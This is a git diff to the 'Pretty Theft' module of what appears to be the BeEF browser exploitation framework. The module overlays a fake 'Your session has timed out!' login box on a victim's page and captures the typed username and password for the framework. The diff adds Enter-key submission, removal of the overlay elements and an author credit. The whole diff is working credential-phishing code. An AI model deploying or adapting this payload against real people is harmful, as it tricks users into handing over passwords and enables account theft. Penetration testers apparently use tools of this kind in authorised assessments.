diff --git a/modules/misc/pretty_theft/command.js b/modules/misc/pretty_theft/command.js
index 9e06ee561..92c3a08e1 100644
--- a/modules/misc/pretty_theft/command.js
+++ b/modules/misc/pretty_theft/command.js
@@ -95,6 +95,8 @@ beef.execute(function() {
 			// lighten screen
 			grayOut(false);
 			clearInterval(credgrabber);
+			$j('#hax').remove();
+			$j('#darkenScreenObject').remove();
 		}
 	}
 
@@ -106,7 +108,7 @@ beef.execute(function() {
 		sneakydiv.setAttribute('style', 'width:400px;height:320px;position:absolute; top:30%; left:40%; z-index:51; background-color:ffffff;font-family:\'Arial\',Arial,sans-serif;border-width:thin;border-style:solid;border-color:#000000');
 		sneakydiv.setAttribute('align', 'center');
 		document.body.appendChild(sneakydiv);
-		sneakydiv.innerHTML= '<br><img src=\''+imgr+'\' width=\'80px\' height\'80px\' /><h2>Your session has timed out!</h2><p>For your security, your session has been timed out. To continue browsing this site, please re-enter your username and password below.</p><table border=\'0\'><tr><td>Username:</td><td><input type=\'text\' name=\'uname\' id=\'uname\' value=\'\'></input></td></td><tr><td>Password:</td><td><input type=\'password\' name=\'pass\' id=\'pass\' value=\'\'></input></td></tr></table><br><input type=\'button\' name=\'lul\' id=\'lul\' onClick=\'document.getElementById(\"lul\").value=\"Processing..\";\' value=\'Continue\'>';
+		sneakydiv.innerHTML= '<br><img src=\''+imgr+'\' width=\'80px\' height\'80px\' /><h2>Your session has timed out!</h2><p>For your security, your session has been timed out. To continue browsing this site, please re-enter your username and password below.</p><table border=\'0\'><tr><td>Username:</td><td><input type=\'text\' name=\'uname\' id=\'uname\' value=\'\' onkeydown=\'if (event.keyCode == 13) document.getElementById(\"lul\").value=\"Processing..\";\'></input></td></td><tr><td>Password:</td><td><input type=\'password\' name=\'pass\' id=\'pass\' value=\'\' onkeydown=\'if (event.keyCode == 13) document.getElementById(\"lul\").value=\"Processing..\";\'></input></td></tr></table><br><input type=\'button\' name=\'lul\' id=\'lul\' onClick=\'document.getElementById(\"lul\").value=\"Processing..\";\' value=\'Continue\'>';
 		credgrabber = setInterval(checker,1000);
 
 	}
diff --git a/modules/misc/pretty_theft/config.yaml b/modules/misc/pretty_theft/config.yaml
index ae8f0f078..af23220e5 100644
--- a/modules/misc/pretty_theft/config.yaml
+++ b/modules/misc/pretty_theft/config.yaml
@@ -20,6 +20,6 @@ beef:
             category: "Misc"
             name: "Pretty Theft"
             description: "Asks the user for their username and password using a tidy floating div."
-            authors: ["vt [nick.freeman@security-assessment.com]"]
+            authors: ["vt [nick.freeman@security-assessment.com]", "xntrik"]
             target:
                 user_notify: ['ALL']
diff --git a/modules/misc/pretty_theft/module.rb b/modules/misc/pretty_theft/module.rb
index de6441b3b..8c2095c75 100644
--- a/modules/misc/pretty_theft/module.rb
+++ b/modules/misc/pretty_theft/module.rb
@@ -26,9 +26,6 @@ class Pretty_theft < BeEF::Core::Command
   # data back to the framework.
   #
   def post_execute
-    
-#    return if @datastore['answer']==''
-
     save({'answer' => @datastore['answer']})
   end